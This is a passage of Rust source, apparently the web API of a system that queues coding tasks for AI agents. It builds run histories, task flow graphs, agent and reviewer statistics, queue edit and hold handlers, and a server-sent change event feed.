4539 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4540 {
4541 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4542 .to_owned()
4543 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4544 " It left a pull request open, so the task was held for a person rather than retried."
4545 .to_owned()
4546 } else if matches!(status, RunStatus::VerifiedNoop) {
4547 " Held for a person to check the claim.".to_owned()
4548 } else if last {
4549 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4550 } else {
4551 " It spent an attempt, and the task moved on to the next run.".to_owned()
4552 };
4553 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4554 TaskRunView {
4555 n,
4556 id: id.to_owned(),
4557 short,
4558 kind,
4559 status: Some(status.as_str()),
4560 readable: true,
4561 provisional,
4562 description,
4563 outcome: format!("{head}{why}"),
4564 created_at: Some(s.created_at),
4565 pr: s.pr.as_ref().map(|p| p.url.clone()),
4566 exit,
4567 attempt: exit.cost(),
4568 branch: branch.map(str::to_owned),
4569 }
4570}
4571
4572#[derive(Debug, Serialize, PartialEq)]
4574struct FlowNode {
4575 key: String,
4577 kind: &'static str,
4579 label: String,
4580 status: Option<&'static str>,
4583 status_of: &'static str,
4586 note: Option<&'static str>,
4588 run_kind: Option<&'static str>,
4589 detail: Option<String>,
4590 decided: bool,
4592 readable: bool,
4593 href: Option<String>,
4594}
4595
4596#[derive(Debug, Serialize, PartialEq)]
4597struct FlowEdge {
4598 from: String,
4599 to: String,
4600 label: String,
4601 attempt: AttemptCost,
4602}
4603
4604#[derive(Debug, Serialize, PartialEq)]
4605struct FlowView {
4606 nodes: Vec<FlowNode>,
4607 edges: Vec<FlowEdge>,
4608 attempts: usize,
4610 max_attempts: usize,
4611}
4612
4613fn task_flow(
4622 task: &Task,
4623 history: &[TaskRunView],
4624 max_attempts: usize,
4625 origin: Option<&FollowUpOrigin>,
4626) -> FlowView {
4627 let node = |key: &str, kind, label: String| FlowNode {
4628 key: key.to_owned(),
4629 kind,
4630 label,
4631 status: None,
4632 status_of: "run",
4633 note: None,
4634 run_kind: None,
4635 detail: None,
4636 decided: false,
4637 readable: true,
4638 href: None,
4639 };
4640 let mut nodes = Vec::new();
4641 let mut edges: Vec<FlowEdge> = Vec::new();
4642 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4644 let mut n = node(
4645 "chat",
4646 "chat",
4647 format!("Chat {}", crate::queue::short(&link.id)),
4648 );
4649 n.href = Some(link.href);
4650 nodes.push(n);
4651 edges.push(FlowEdge {
4652 from: "chat".to_owned(),
4653 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4654 label: "queued from chat".to_owned(),
4655 attempt: AttemptCost::None,
4656 });
4657 }
4658 if let Some(o) = origin {
4659 let mut n = match &o.parent {
4660 Some(p) => {
4661 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4662 n.status = Some(p.status);
4663 n.status_of = "task";
4664 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4665 n.href = Some(p.href.clone());
4666 n
4667 }
4668 None => {
4669 let mut n = node(
4670 "origin",
4671 "followup",
4672 format!("Follow-up of run {}", o.run.short),
4673 );
4674 n.detail = Some("merged run".to_owned());
4675 n.status = o.run.status;
4676 n.href = o.run.href.clone();
4677 if o.run.href.is_none() {
4678 n.readable = false;
4679 n.note = Some("unreadable");
4680 }
4681 n
4682 }
4683 };
4684 n.decided = true;
4685 let from = n.key.clone();
4686 nodes.push(n);
4687 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4688 let more = o.findings.len().saturating_sub(shown.len());
4689 let label = match (shown.is_empty(), more) {
4690 (true, _) => "open findings".to_owned(),
4691 (false, 0) => format!("open findings {}", shown.join(", ")),
4692 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4693 };
4694 edges.push(FlowEdge {
4695 from,
4696 to: "start".to_owned(),
4697 label,
4698 attempt: AttemptCost::None,
4699 });
4700 }
4701 nodes.push(node("start", "start", "Task queued".to_owned()));
4702 let mut prev = "start".to_owned();
4703 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4704 for (i, h) in history.iter().enumerate() {
4705 let key = format!("run-{}", h.n);
4706 let mut n = node(&key, "run", format!("Run {}", h.short));
4707 n.run_kind = Some(h.kind);
4708 n.readable = h.readable;
4709 n.href = Some(format!("#/runs/{}", h.id));
4710 n.decided = h.readable && !h.provisional;
4711 n.detail = h
4712 .branch
4713 .as_ref()
4714 .map(|b| format!("review-only run of branch {b}"));
4715 match h.exit {
4716 RunExit::Unreadable => n.note = Some("unreadable"),
4717 RunExit::Interrupted => n.note = Some("interrupted"),
4718 _ => {
4719 n.status = h.status;
4720 if h.provisional {
4721 n.note = Some("no verdict");
4722 }
4723 }
4724 }
4725 let into = match h.kind {
4726 "review" => Some(format!(
4727 "review-only run of branch {}",
4728 h.branch.as_deref().unwrap_or("?")
4729 )),
4730 "resume" => Some("resume the same run".to_owned()),
4731 _ if i > 0 => Some("retry".to_owned()),
4732 _ => None,
4733 };
4734 let label = match (prev_exit, into) {
4735 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4736 (Some((e, st)), None) => e.edge_label(st),
4737 (None, Some(i)) => i,
4738 (None, None) => "claimed".to_owned(),
4739 };
4740 edges.push(FlowEdge {
4741 from: prev.clone(),
4742 to: key.clone(),
4743 label,
4744 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4745 });
4746 prev_exit = Some((h.exit, h.status));
4747 prev = key;
4748 nodes.push(n);
4749 }
4750 let mut end = node("end", "end", task.status.as_str().to_owned());
4751 end.status = Some(task.status.as_str());
4752 end.status_of = "task";
4753 nodes.push(end);
4754 let (label, attempt) = match prev_exit {
4755 None => (
4756 format!("no run yet \u{2192} {}", task.status.as_str()),
4757 AttemptCost::None,
4758 ),
4759 Some((e, st)) if e.explains(task.status) => (
4760 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4761 e.cost(),
4762 ),
4763 Some((e, _)) => (
4764 format!("closed by hand: task is {}", task.status.as_str()),
4765 e.cost(),
4766 ),
4767 };
4768 edges.push(FlowEdge {
4769 from: prev,
4770 to: "end".to_owned(),
4771 label,
4772 attempt,
4773 });
4774 FlowView {
4775 nodes,
4776 edges,
4777 attempts: task.attempts,
4778 max_attempts,
4779 }
4780}
4781
4782fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4785 let mut history = Vec::with_capacity(task.runs.len());
4786 let mut seen: Vec<&str> = Vec::new();
4787 let mut prior: Option<(&str, RunStatus)> = None;
4788 for (i, run_id) in task.runs.iter().enumerate() {
4789 let state = read(run_id);
4790 let resumed = seen.contains(&run_id.as_str());
4791 seen.push(run_id);
4792 history.push(task_run_view(
4793 run_id,
4794 state.as_ref(),
4795 RunSlot {
4796 n: i + 1,
4797 resumed,
4798 resumed_later: task.runs[i + 1..]
4799 .iter()
4800 .position(|r| r == run_id)
4801 .map(|off| i + off + 2),
4802 prior,
4803 last: i + 1 == task.runs.len(),
4804 },
4805 task,
4806 ));
4807 if let Some(s) = &state {
4808 prior = Some((run::short_of(run_id), s.status));
4809 }
4810 }
4811 history
4812}
4813
4814async fn task_detail(
4815 State(ui): State<Arc<Ui>>,
4816 Path(id): Path<String>,
4817) -> ApiResult<Json<TaskDetailView>> {
4818 blocking(move || {
4819 let id = resolve_task(&ui.queue, &id)?;
4820 let task = ui
4821 .queue
4822 .get(&id)
4823 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4824 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4825 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4826 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4827 let max_attempts = daemon::Opts::default().max_attempts;
4828 let origin = task.followup.as_ref().map(|fu| {
4829 followup_origin(
4830 fu,
4831 |tid| ui.queue.get(tid).ok(),
4832 |rid| read_run(&ui.runs, rid).ok(),
4833 )
4834 });
4835 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4836 Ok(Json(TaskDetailView {
4837 max_attempts,
4838 flow,
4839 followup_origin: origin,
4840 history,
4841 runs_unreadable,
4842 attempts_note: ATTEMPTS_NOTE,
4843 task: TaskView::with_inventory(task, &inv),
4844 }))
4845 })
4846 .await
4847}
4848
4849#[derive(Debug, Serialize)]
4853struct RateView {
4854 pct: f64,
4855 denominator: usize,
4856}
4857
4858impl RateView {
4859 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4860 (denominator > 0).then(|| Self {
4861 pct: 100.0 * numerator as f64 / denominator as f64,
4862 denominator,
4863 })
4864 }
4865}
4866
4867#[derive(Debug, Serialize)]
4872struct StatsTotalsView {
4873 runs: usize,
4874 merged: usize,
4875 ready: usize,
4876 blocked: usize,
4877 failed: usize,
4878 stalled: usize,
4879 verified_noop: usize,
4880 superseded: usize,
4881 in_progress: usize,
4882 completion_rate: Option<RateView>,
4883 tallied: usize,
4884 split: usize,
4885 split_rate: Option<RateView>,
4886 deliberated: usize,
4887 minds_changed: usize,
4888 converged: usize,
4889 review_rounds: usize,
4890}
4891
4892impl From<&stats::Totals> for StatsTotalsView {
4893 fn from(t: &stats::Totals) -> Self {
4894 Self {
4895 runs: t.runs,
4896 merged: t.merged,
4897 ready: t.ready,
4898 blocked: t.blocked,
4899 failed: t.failed,
4900 stalled: t.stalled,
4901 verified_noop: t.verified_noop,
4902 superseded: t.superseded,
4903 in_progress: t.in_progress,
4904 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4905 tallied: t.tallied,
4906 split: t.split,
4907 split_rate: RateView::of(t.split, t.tallied),
4908 deliberated: t.deliberated,
4909 minds_changed: t.minds_changed,
4910 converged: t.converged,
4911 review_rounds: t.review_rounds,
4912 }
4913 }
4914}
4915
4916#[derive(Debug, Serialize)]
4918struct AgentStatsView {
4919 agent: String,
4920 entered: usize,
4921 wins: usize,
4922 empty: usize,
4923 win_rate: Option<RateView>,
4924}
4925
4926impl From<&stats::AgentStats> for AgentStatsView {
4927 fn from(a: &stats::AgentStats) -> Self {
4928 Self {
4929 agent: a.agent.clone(),
4930 entered: a.entered,
4931 wins: a.wins,
4932 empty: a.empty,
4933 win_rate: RateView::of(a.wins, a.entered),
4934 }
4935 }
4936}
4937
4938#[derive(Debug, Serialize)]
4942struct ReviewerStatsView {
4943 agent: String,
4944 rounds: usize,
4945 seated: usize,
4946 submitted: usize,
4947 adopted: usize,
4948 unique: usize,
4949 timeouts: usize,
4950 adopted_per_round: Option<f64>,
4951 precision: Option<RateView>,
4952 unique_rate: Option<RateView>,
4953 timeout_rate: Option<RateView>,
4954}
4955
4956impl From<&stats::ReviewerStats> for ReviewerStatsView {
4957 fn from(r: &stats::ReviewerStats) -> Self {
4958 Self {
4959 agent: r.agent.clone(),
4960 rounds: r.rounds,
4961 seated: r.seated,
4962 submitted: r.submitted,
4963 adopted: r.adopted,
4964 unique: r.unique,
4965 timeouts: r.timeouts,
4966 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4967 precision: RateView::of(r.adopted, r.submitted),
4968 unique_rate: RateView::of(r.unique, r.submitted),
4969 timeout_rate: RateView::of(r.timeouts, r.seated),
4970 }
4971 }
4972}
4973
4974#[derive(Debug, Serialize)]
4980struct AdvisorStatsView {
4981 agent: String,
4982 seated: usize,
4983 proposed: usize,
4984 absent: usize,
4985 faint: usize,
4986 strong: usize,
4987 reflection_rate: Option<RateView>,
4988}
4989
4990impl From<&stats::AdvisorStats> for AdvisorStatsView {
4991 fn from(a: &stats::AdvisorStats) -> Self {
4992 Self {
4993 agent: a.agent.clone(),
4994 seated: a.seated,
4995 proposed: a.proposed,
4996 absent: a.absent,
4997 faint: a.faint,
4998 strong: a.strong,
4999 reflection_rate: RateView::of(a.strong, a.proposed),
5000 }
5001 }
5002}
5003
5004#[derive(Debug, Serialize)]
5006struct E2eStatsView {
5007 rounds: usize,
5008 failures: usize,
5009 sole_detections: usize,
5010 deferred: usize,
5011 sole_rate: Option<RateView>,
5012}
5013
5014impl From<&stats::E2eStats> for E2eStatsView {
5015 fn from(e: &stats::E2eStats) -> Self {
5016 Self {
5017 rounds: e.rounds,
5018 failures: e.failures,
5019 sole_detections: e.sole_detections,
5020 deferred: e.deferred,
5021 sole_rate: RateView::of(e.sole_detections, e.failures),
5022 }
5023 }
5024}
5025
5026#[derive(Debug, Serialize)]
5034struct ReleaseBumpStatsView {
5035 merged: usize,
5036 recorded: usize,
5037 pr_opened: usize,
5038 automerge_enabled: usize,
5039 merged_directly: usize,
5040 needs_attention: usize,
5041 clean: usize,
5042 coverage_rate: Option<RateView>,
5043 automerge_rate: Option<RateView>,
5044 attention_rate: Option<RateView>,
5045}
5046
5047impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5048 fn from(b: &stats::ReleaseBumpStats) -> Self {
5049 Self {
5050 merged: b.merged,
5051 recorded: b.recorded,
5052 pr_opened: b.pr_opened,
5053 automerge_enabled: b.automerge_enabled,
5054 merged_directly: b.merged_directly,
5055 needs_attention: b.needs_attention,
5056 clean: b.clean(),
5057 coverage_rate: RateView::of(b.recorded, b.merged),
5058 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5059 attention_rate: RateView::of(b.needs_attention, b.recorded),
5060 }
5061 }
5062}
5063
5064#[derive(Debug, Serialize)]
5066struct TaskCountsView {
5067 queued: usize,
5068 running: usize,
5069 done: usize,
5070 failed: usize,
5071 held: usize,
5072 blocked: usize,
5073 parked: usize,
5074}
5075
5076impl From<crate::queue::TaskCounts> for TaskCountsView {
5077 fn from(c: crate::queue::TaskCounts) -> Self {
5078 Self {
5079 queued: c.queued,
5080 running: c.running,
5081 done: c.done,
5082 failed: c.failed,
5083 held: c.held,
5084 blocked: c.blocked,
5085 parked: c.parked,
5086 }
5087 }
5088}
5089
5090#[derive(Debug, Serialize)]
5096struct RepoSummaryView {
5097 repo: String,
5100 name: String,
5102 runs: usize,
5103 completion_rate: Option<RateView>,
5104}
5105
5106impl From<&stats::RepoStats> for RepoSummaryView {
5107 fn from(r: &stats::RepoStats) -> Self {
5108 let t = &r.stats.totals;
5109 Self {
5110 repo: r.repo.to_string_lossy().into_owned(),
5111 name: r.name.clone(),
5112 runs: t.runs,
5113 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5114 }
5115 }
5116}
5117
5118#[derive(Debug, Serialize)]
5124struct StatsView {
5125 totals: StatsTotalsView,
5126 agents: Vec<AgentStatsView>,
5128 reviewers: Vec<ReviewerStatsView>,
5130 advisors: Vec<AdvisorStatsView>,
5132 e2e: E2eStatsView,
5133 release_bumps: ReleaseBumpStatsView,
5134 queue: TaskCountsView,
5135 runs_unreadable: usize,
5145 repos: Vec<RepoSummaryView>,
5149 daily: Vec<DailyStatsView>,
5154 repo: Option<String>,
5158 retired_hidden: Vec<String>,
5162}
5163
5164#[derive(Debug, Serialize)]
5166struct DailyStatsView {
5167 date: String,
5169 runs: usize,
5170 merged: usize,
5171 ready: usize,
5172 other: usize,
5173 completion_rate: Option<RateView>,
5175}
5176
5177impl From<&stats::DayBucket> for DailyStatsView {
5178 fn from(b: &stats::DayBucket) -> Self {
5179 Self {
5180 date: b.date.to_string(),
5181 runs: b.runs,
5182 merged: b.merged,
5183 ready: b.ready,
5184 other: b.other,
5185 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5186 }
5187 }
5188}
5189
5190const STATS_DAILY_DAYS: usize = 30;
5192
5193#[derive(Debug, Default, Deserialize)]
5202#[serde(default)]
5203struct StatsQuery {
5204 repo: Option<String>,
5205 all: bool,
5207}
5208
5209async fn stats_get(
5216 State(ui): State<Arc<Ui>>,
5217 Query(q): Query<StatsQuery>,
5218) -> ApiResult<Json<StatsView>> {
5219 blocking(move || {
5220 let states: Vec<RunState> = run_ids(&ui.runs)
5221 .into_iter()
5222 .filter_map(|id| read_run(&ui.runs, &id).ok())
5223 .collect();
5224 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5225 .iter()
5226 .map(RepoSummaryView::from)
5227 .collect();
5228 let mut scoped: Vec<&RunState> = states.iter().collect();
5229 let mut collected = match &q.repo {
5230 Some(repo) => {
5231 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5232 if filtered.is_empty() {
5233 return Err(ApiError::not_found(format!(
5234 "no runs recorded against repo `{repo}`"
5235 )));
5236 }
5237 scoped = filtered.clone();
5238 stats::collect_refs(filtered)
5239 }
5240 None => stats::collect(&states),
5241 };
5242 if !q.all {
5243 let repo = q
5244 .repo
5245 .as_deref()
5246 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5247 stats::retain_current_roster(&mut collected, &repo);
5248 }
5249 let daily = stats::daily(
5250 scoped,
5251 jiff::Zoned::now().date(),
5252 &jiff::tz::TimeZone::system(),
5253 STATS_DAILY_DAYS,
5254 );
5255 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5256 Ok(Json(StatsView {
5257 totals: StatsTotalsView::from(&collected.totals),
5258 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5259 reviewers: collected
5260 .reviewers
5261 .iter()
5262 .map(ReviewerStatsView::from)
5263 .collect(),
5264 advisors: collected
5265 .advisors
5266 .iter()
5267 .map(AdvisorStatsView::from)
5268 .collect(),
5269 e2e: E2eStatsView::from(&collected.e2e),
5270 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5271 queue: TaskCountsView::from(queue_counts),
5272 runs_unreadable: runs_unreadable(&ui.runs),
5273 repos,
5274 daily: daily.iter().map(DailyStatsView::from).collect(),
5275 repo: q.repo.clone(),
5276 retired_hidden: collected.retired_hidden.clone(),
5277 }))
5278 })
5279 .await
5280}
5281
5282#[derive(Debug, Default, Deserialize)]
5285#[serde(default, deny_unknown_fields)]
5286struct HoldBody {
5287 reason: Option<String>,
5288}
5289
5290async fn queue_hold(
5291 State(ui): State<Arc<Ui>>,
5292 Path(id): Path<String>,
5293 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5294) -> ApiResult<Json<TaskView>> {
5295 let body = match body {
5299 Ok(Json(body)) => body,
5300 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5301 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5302 };
5303 let reason = body.reason.filter(|r| !r.trim().is_empty());
5304 mutate(ui, id, move |t| {
5305 t.hold_manual(reason.clone());
5306 Ok(())
5307 })
5308 .await
5309}
5310
5311async fn queue_release(
5312 State(ui): State<Arc<Ui>>,
5313 Path(id): Path<String>,
5314) -> ApiResult<Json<TaskView>> {
5315 mutate(ui, id, |t| {
5316 t.release();
5317 Ok(())
5318 })
5319 .await
5320}
5321
5322#[derive(Debug, Deserialize)]
5324#[serde(deny_unknown_fields)]
5325struct PriorityBody {
5326 priority: i32,
5327}
5328
5329async fn queue_priority(
5335 State(ui): State<Arc<Ui>>,
5336 Path(id): Path<String>,
5337 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5338) -> ApiResult<Json<TaskView>> {
5339 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5340 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5341}
5342
5343#[derive(Debug, Deserialize)]
5345#[serde(deny_unknown_fields)]
5346struct EditBody {
5347 title: String,
5348 instruction: String,
5349 #[serde(default)]
5352 force: bool,
5353}
5354
5355async fn queue_edit(
5359 State(ui): State<Arc<Ui>>,
5360 Path(id): Path<String>,
5361 body: std::result::Result<Json<EditBody>, JsonRejection>,
5362) -> ApiResult<Json<TaskView>> {
5363 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5364 let mut judged: Option<(String, PathBuf)> = None;
5368 if !body.force {
5369 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5370 let (id, text) = (id.clone(), body.instruction.clone());
5371 let (seen, hits) = blocking(move || {
5372 let id = resolve_task(&queue, &id)?;
5373 let t = queue.get(&id)?;
5374 if text == t.instruction {
5375 return Ok((None, Vec::new()));
5376 }
5377 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5378 Ok((Some((t.instruction, t.repo)), hits))
5379 })
5380 .await?;
5381 if let Some((_, repo)) = &seen {
5382 let cfg = crate::config::Config::discover(repo, None)
5383 .ok()
5384 .map(|(c, _)| c);
5385 let screened =
5386 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5387 .await
5388 .map_err(|dup| {
5389 ApiError::conflict(dup.render(
5390 "Nothing was saved. If it is not a duplicate, repeat the request \
5391 with \"force\": true.",
5392 ))
5393 })?;
5394 if let crate::dupes::Screened::Unjudged(why) = screened {
5395 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5396 }
5397 }
5398 judged = seen;
5399 }
5400 let force = body.force;
5401 mutate(ui, id, move |t| {
5402 if !force && body.instruction != t.instruction {
5403 match &judged {
5404 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5405 _ => {
5406 anyhow::bail!("the task changed while it was being checked; repeat the request")
5407 }
5408 }
5409 }
5410 t.edit(body.title.clone(), body.instruction.clone())
5411 })
5412 .await
5413}
5414
5415async fn queue_done(
5423 State(ui): State<Arc<Ui>>,
5424 Path(id): Path<String>,
5425) -> ApiResult<Json<TaskView>> {
5426 let home = ui.home.clone();
5427 mutate(ui, id, move |t| {
5428 t.succeed();
5429 crate::daemon::supersede_prior_runs(t, &home);
5437 Ok(())
5438 })
5439 .await
5440}
5441
5442async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5450 blocking(move || {
5451 let id = resolve_task(&ui.queue, &id)?;
5452 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5453 ui.queue
5454 .remove(&id, in_flight, &ui.questions)
5455 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5456 Ok(StatusCode::NO_CONTENT)
5457 })
5458 .await
5459}
5460
5461async fn mutate(
5470 ui: Arc<Ui>,
5471 id: String,
5472 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5473) -> ApiResult<Json<TaskView>> {
5474 blocking(move || {
5475 let id = resolve_task(&ui.queue, &id)?;
5476 let _claim = ui.queue.claim(&id).map_err(|e| {
5481 ApiError::conflict(format!(
5482 "{e:#} - a daemon is running this task, so it cannot be \
5483 changed from here yet"
5484 ))
5485 })?;
5486 let mut task = ui.queue.get(&id)?;
5487 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5488 Ok(dup) => ApiError::conflict(dup.render(
5489 "Nothing was saved. If it is not a duplicate, repeat the request with \
5490 \"force\": true.",
5491 )),
5492 Err(e) => ApiError::bad_request_from(e),
5493 })?;
5494 ui.queue.put(&mut task)?;
5495 Ok(Json(TaskView::from(task)))
5496 })
5497 .await
5498}
5499
5500async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5508 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5509 tokio::spawn(async move {
5510 let mut ticker = tokio::time::interval(POLL);
5511 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5512 let mut stamps: Option<[Stamps; 3]> = None;
5513 loop {
5514 ticker.tick().await;
5517 let state = Arc::clone(&ui);
5518 let revisions = tokio::task::spawn_blocking(move || {
5519 let stamps = [
5520 store_stamps(state.queue.root(), false),
5521 store_stamps(&state.runs, true),
5522 store_stamps(state.talks.root(), false),
5523 ];
5524 let revisions = (
5525 stamps_revision(&stamps[0]),
5526 stamps_revision(&stamps[1]),
5527 state.questions.revision(),
5528 stamps_revision(&stamps[2]),
5529 state.notices.revision(),
5530 state.lock_loop().rev,
5534 );
5535 (revisions, stamps)
5536 })
5537 .await;
5538 let Ok((revisions, next_stamps)) = revisions else {
5539 break;
5540 };
5541 if last == Some(revisions) {
5542 continue;
5543 }
5544 let mut payload = serde_json::json!({
5545 "queue_rev": revisions.0,
5546 "runs_rev": revisions.1,
5547 "questions_rev": revisions.2,
5548 "talks_rev": revisions.3,
5549 "notifications_rev": revisions.4,
5550 "loop_rev": revisions.5,
5551 });
5552 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5553 for (index, (key, rev)) in [
5554 ("queue_delta", base.0),
5555 ("runs_delta", base.1),
5556 ("talks_delta", base.3),
5557 ]
5558 .into_iter()
5559 .enumerate()
5560 {
5561 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5562 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5564 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5565 }
5566 }
5567 }
5568 last = Some(revisions);
5569 stamps = Some(next_stamps);
5570 let Ok(event) = Event::default().event("change").json_data(payload) else {
5572 break;
5573 };
5574 if tx.send(event).await.is_err() {
5575 break;
5576 }
5577 }
5578 });
5579 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5580 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5581}
5582
5583type Stamps = HashMap<String, (u128, u64)>;
5584
5585fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5587 std::fs::read_dir(root)
5588 .into_iter()
5589 .flatten()
5590 .flatten()
5591 .filter_map(|entry| {
5592 let path = if runs {
5593 entry.path().join("run.json")
5594 } else {
5595 entry.path()
5596 };
5597 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5598 return None;
5599 }
5600 let metadata = path.metadata().ok()?;
5601 let modified = metadata
5602 .modified()
5603 .ok()?
5604 .duration_since(std::time::UNIX_EPOCH)
5605 .ok()?;
5606 let id = if runs {
5607 entry.file_name().to_string_lossy().into_owned()
5608 } else {
5609 path.file_stem()?.to_string_lossy().into_owned()
5610 };
5611 Some((id, (modified.as_nanos(), metadata.len())))
5612 })
5613 .collect()
5614}
5615
5616#[derive(Debug, Serialize)]
5617struct Delta {
5618 base: u64,
5619 changed: Vec<String>,
5620 removed: Vec<String>,
5621}
5622
5623fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5624 let mut changed: Vec<_> = next
5625 .iter()
5626 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5627 .map(|(id, _)| id.clone())
5628 .collect();
5629 let mut removed: Vec<_> = previous
5630 .keys()
5631 .filter(|id| !next.contains_key(*id))
5632 .cloned()
5633 .collect();
5634 changed.sort_unstable();
5635 removed.sort_unstable();
5636 Delta {
5637 base,
5638 changed,
5639 removed,
5640 }
5641}
5642
5643fn runs_revision(runs: &FsPath) -> u64 {
5650 stamps_revision(&store_stamps(runs, true))
5651}
5652
5653fn stamps_revision(stamps: &Stamps) -> u64 {
5657 use std::hash::{Hash as _, Hasher as _};
5658 if stamps.is_empty() {
5659 return 0;
5660 }
5661 let mut entries: Vec<_> = stamps.iter().collect();
5662 entries.sort_unstable();
5663 let mut hasher = std::hash::DefaultHasher::new();
5664 entries.hash(&mut hasher);
5665 hasher.finish().max(1)
5666}
5667
5668fn run_ids(runs: &FsPath) -> Vec<String> {
5674 let mut ids: Vec<String> = std::fs::read_dir(runs)
5675 .into_iter()
5676 .flatten()
5677 .flatten()
5678 .filter(|e| e.path().join("run.json").is_file())
5679 .map(|e| e.file_name().to_string_lossy().into_owned())
5680 .collect();
5681 ids.sort_unstable_by(|a, b| b.cmp(a));
5683 ids
5684}
5685
5686fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5688 let path = runs.join(id).join("run.json");
5689 let body =
5690 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5691 let state: RunState =
5692 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5693 run::migrate_schema(state)
5698}
5699
5700#[must_use]
5708pub fn runs_unreadable(runs: &FsPath) -> usize {
5709 run_ids(runs)
5710 .into_iter()
5711 .filter(|id| read_run(runs, id).is_err())
5712 .count()
5713}
5714
5715fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5717 if runs.join(id).join("run.json").is_file() {
5718 return Ok(id.to_owned());
5719 }
5720 pick(run_ids(runs), id, "run")
5721}
5722
5723fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5725 if queue.path_of(id).is_file() {
5726 return Ok(id.to_owned());
5727 }
5728 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5729}
5730
5731#[derive(Debug, Serialize)]
5742struct QuestionView {
5743 #[serde(flatten)]
5744 question: Question,
5745 detail_md: Vec<md::Node>,
5746 thread_bodies_md: Vec<Vec<md::Node>>,
5748 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5751 waiting_on_agent: bool,
5761 holder: Option<&'static str>,
5765 deputies_enabled: bool,
5769 run_is_task: bool,
5772 origin_chat: Option<String>,
5777 origin_chat_closed: bool,
5779}
5780
5781impl QuestionView {
5782 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5786 let base = md::ImageBase::QuestionPanel {
5787 id: question.id.clone(),
5788 };
5789 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5790 Self {
5791 detail_md: md::to_nodes(&question.detail, &base),
5792 thread_bodies_md: question
5793 .thread
5794 .iter()
5795 .map(|t| md::to_nodes(&t.body, &base))
5796 .collect(),
5797 thread_notes_md: question
5798 .thread
5799 .iter()
5800 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5801 .collect(),
5802 waiting_on_agent: question.waiting_on_agent(),
5803 holder,
5804 deputies_enabled,
5805 run_is_task: question.run_names_task(),
5806 origin_chat: None,
5807 origin_chat_closed: false,
5808 question,
5809 }
5810 }
5811
